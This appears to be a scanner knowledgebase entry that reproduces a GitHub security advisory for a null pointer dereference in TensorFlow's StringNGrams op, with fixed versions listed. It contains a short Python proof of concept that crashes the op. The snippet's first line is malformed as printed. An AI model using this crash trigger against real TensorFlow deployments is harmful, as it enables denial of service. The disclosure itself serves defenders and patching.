QID 982418
QID 982418: Python (pip) Security Update for tensorflow-gpu (GHSA-xqfj-35wv-m3cr)
Security update has been released for tensorflow,tensorflow-cpu,tensorflow-gpu to fix the vulnerability.
Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.
An attacker can trigger a dereference of a null pointer in `tf.raw_ops.StringNGrams`:
```python
import tensorflow as tf
data=tf.constant(['] * 11, shape=[11], dtype=tf.string)
splits = [0]*115
splits.append(3)
data_splits=tf.constant(splits, shape=[116], dtype=tf.int64)
tf.raw_ops.StringNGrams(data=data, data_splits=data_splits, separator=b'Ss',
ngram_widths=[7,6,11],
left_pad='ABCDE', right_pad=b'ZYXWVU',
pad_width=50, preserve_short_sequences=True)
```
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1cdd4da14282210cc759e468d9781741ac7d01bf/tensorflow/core/kernels/string_ngrams_op.cc#L67-L74) does not fully validate the `data_splits` argument. This would result in [`ngrams_data`](https://github.com/tensorflow/tensorflow/blob/1cdd4da14282210cc759e468d9781741ac7d01bf/tensorflow/core/kernels/string_ngrams_op.cc#L106-L110) to be a null pointer when the output would be computed to have 0 or negative size.
Later writes to the output tensor would then cause a null pointer dereference.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
- GHSA-xqfj-35wv-m3cr -
github.com/advisories/GHSA-xqfj-35wv-m3cr
CVEs related to QID 982418
| Advisory ID | Software | Component | Link |
|---|---|---|---|
| GHSA-xqfj-35wv-m3cr | tensorflow |
|
|
| GHSA-xqfj-35wv-m3cr | tensorflow-cpu |
|
|
| GHSA-xqfj-35wv-m3cr | tensorflow-gpu |
|